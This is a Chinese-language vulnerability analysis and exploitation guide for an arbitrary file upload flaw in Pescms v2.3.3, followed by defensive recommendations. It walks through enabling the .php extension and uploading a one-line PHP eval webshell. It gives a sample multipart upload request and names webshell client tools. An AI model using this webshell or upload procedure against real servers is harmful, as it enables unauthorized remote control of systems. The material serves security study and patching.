Pescms任意文件上传/0day/getshell/代码审计
字数 1277 2025-08-09 22:00:49
Pescms 任意文件上传漏洞分析与利用指南
漏洞概述
Pescms (版本 pescmsteam-v2.3.3) 存在一个任意文件上传漏洞,攻击者可以通过修改上传文件的后缀名绕过系统限制,上传恶意PHP文件,最终导致服务器被控制(getsell)。
漏洞原理分析
1. 上传过滤机制缺陷
系统在处理文件上传时存在以下关键问题:
- 数据库存储未过滤:用户提交的文件后缀名数据未经充分过滤就直接写入数据库
- 配置读取信任问题:系统从数据库读取
config["allowFiles"]配置作为允许上传的文件后缀 - 图片与非图片处理差异:
- 对于图片文件:使用GD库进行过滤(能有效阻止图片马)
- 对于非图片文件:直接上传,无有效过滤
2. 代码审计关键点
通过代码审计发现以下关键代码流程:
upload类继承了controller类,使用了一个config数组存储上传配置- 系统包含
Uploader.php文件处理实际上传逻辑 - 上传验证逻辑:
// 检查文件后缀是否在允许列表中 if (in_array($fileExtension, $config["allowFiles"])) { // 继续上传流程 } - 图片处理分支:
if (是图片文件) { 使用GD库处理; // 能过滤图片马 } else { 直接上传; // 漏洞点 }
漏洞复现步骤
环境搭建
- 使用phpstudy搭建Pescms系统(版本v2.3.3)
- 确保系统运行正常,文件上传功能可用
攻击流程
-
修改上传文件后缀:
- 找到系统允许上传的文件类型配置处
- 添加.php后缀到允许上传的文件类型中
-
准备恶意文件:
- 创建一个包含PHP代码的文本文件(如webshell)
- 示例webshell内容:
<?php @eval($_POST['cmd']); ?>
-
上传恶意文件:
- 在系统"编辑"功能中选择"附件上传"
- 上传准备好的恶意文件
- 关键点:不要使用图片马,因为GD库会过滤掉有效载荷
-
获取上传路径:
- 系统会返回上传成功的文件路径
- 记录此路径用于后续访问
-
连接webshell:
- 使用中国菜刀、蚁剑等webshell管理工具
- 输入上传的PHP文件URL和密码(示例中为'cmd')
- 成功连接后获得服务器控制权限
实际攻击数据包示例
POST /upload/path HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
------WebKitFormBoundary...
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary...
漏洞利用注意事项
-
避免使用图片马:
- 虽然可以修改图片后缀为.php,但由于GD库过滤,实际上传的图片马无法执行
- 必须上传纯PHP文件才能成功getshell
-
后缀名修改技巧:
- 需要确保.php后缀被添加到系统允许的上传类型中
- 可以通过修改数据库或找到系统配置界面实现
-
上传点选择:
- 优先选择非图片上传点(如附件上传)
- 图片上传点即使修改后缀也难以利用成功
防御建议
-
输入过滤:
- 对所有用户输入(特别是文件后缀名)进行严格过滤
- 使用白名单机制,只允许特定的安全后缀
-
文件内容检查:
- 对所有上传文件进行内容验证,不仅是文件头
- 对PHP等可执行文件应完全禁止上传
-
权限控制:
- 上传目录设置为不可执行
- 对上传文件进行重命名,避免直接使用用户提供的文件名
-
安全配置:
- 定期更新系统和框架
- 禁用不必要的文件上传功能
总结
Pescms v2.3.3的文件上传漏洞源于对用户输入过度信任和过滤不严,通过精心构造的上传请求,攻击者可以绕过限制上传PHP webshell,完全控制服务器。开发人员应引以为戒,对所有用户输入实施"不信任"原则,采用多层次的安全防护措施。